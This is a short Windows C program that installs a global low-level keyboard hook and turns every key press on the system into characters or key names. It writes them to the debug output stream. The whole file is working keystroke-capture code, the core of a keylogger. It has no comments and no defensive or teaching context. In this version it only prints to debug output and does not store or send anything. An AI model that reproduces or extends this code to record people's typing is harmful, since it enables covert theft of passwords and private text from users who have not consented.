#define _WIN32_WINNT 0x0500

#include <windows.h>
#include <stdio.h>
#include <tchar.h>

HHOOK g_hLLKeyboardHook = NULL;


#ifdef WH_KEYBOARD_LL
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
	CHAR szDebug[256];

	if (nCode == HC_ACTION)
	{
		PKBDLLHOOKSTRUCT pKeyboardHookStruct = (PKBDLLHOOKSTRUCT) lParam;

		if ((wParam == WM_KEYDOWN) || (wParam == WM_SYSKEYDOWN))
		{
			BYTE KeyboardState[256];
			ZeroMemory(KeyboardState, sizeof(KeyboardState));
			GetKeyboardState(KeyboardState);

			KeyboardState[VK_SHIFT] = (BYTE) (GetKeyState(VK_LSHIFT) | GetKeyState(VK_RSHIFT));
			KeyboardState[VK_CAPITAL] = (BYTE) GetKeyState(VK_CAPITAL);

			WORD wChar;

			int iNumChar = ToAscii(pKeyboardHookStruct->vkCode, pKeyboardHookStruct->scanCode, KeyboardState, &wChar, 0);

			if (iNumChar >= 1)
			{
				_snprintf(szDebug, 255, "%c", wChar);
				OutputDebugString(szDebug);
			}

			if (iNumChar <= 0)
			{
				CHAR KeyText[20];
				ZeroMemory(KeyText, sizeof(KeyText));

				LONG Flags = 0;
				Flags = pKeyboardHookStruct->scanCode << 16;
				Flags |= pKeyboardHookStruct->flags << 24;
				
				if (GetKeyNameText(Flags, KeyText, 20) > 0)
				{
					_snprintf(szDebug, 255, "%s", KeyText);
					OutputDebugString(szDebug);
				}
			}
		}
	}

	return CallNextHookEx(g_hLLKeyboardHook, nCode, wParam, lParam);
}
#endif

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
	g_hLLKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC) LowLevelKeyboardProc, GetModuleHandle(NULL), 0);
	
	if (g_hLLKeyboardHook == NULL)
	{
		return -1;
	}

	MSG msg;
	while (GetMessage(&msg, NULL, 0, 0)) 
	{ 
		TranslateMessage(&msg); 
		DispatchMessage(&msg); 
	} 

	UnhookWindowsHookEx(g_hLLKeyboardHook);

	return msg.wParam;
}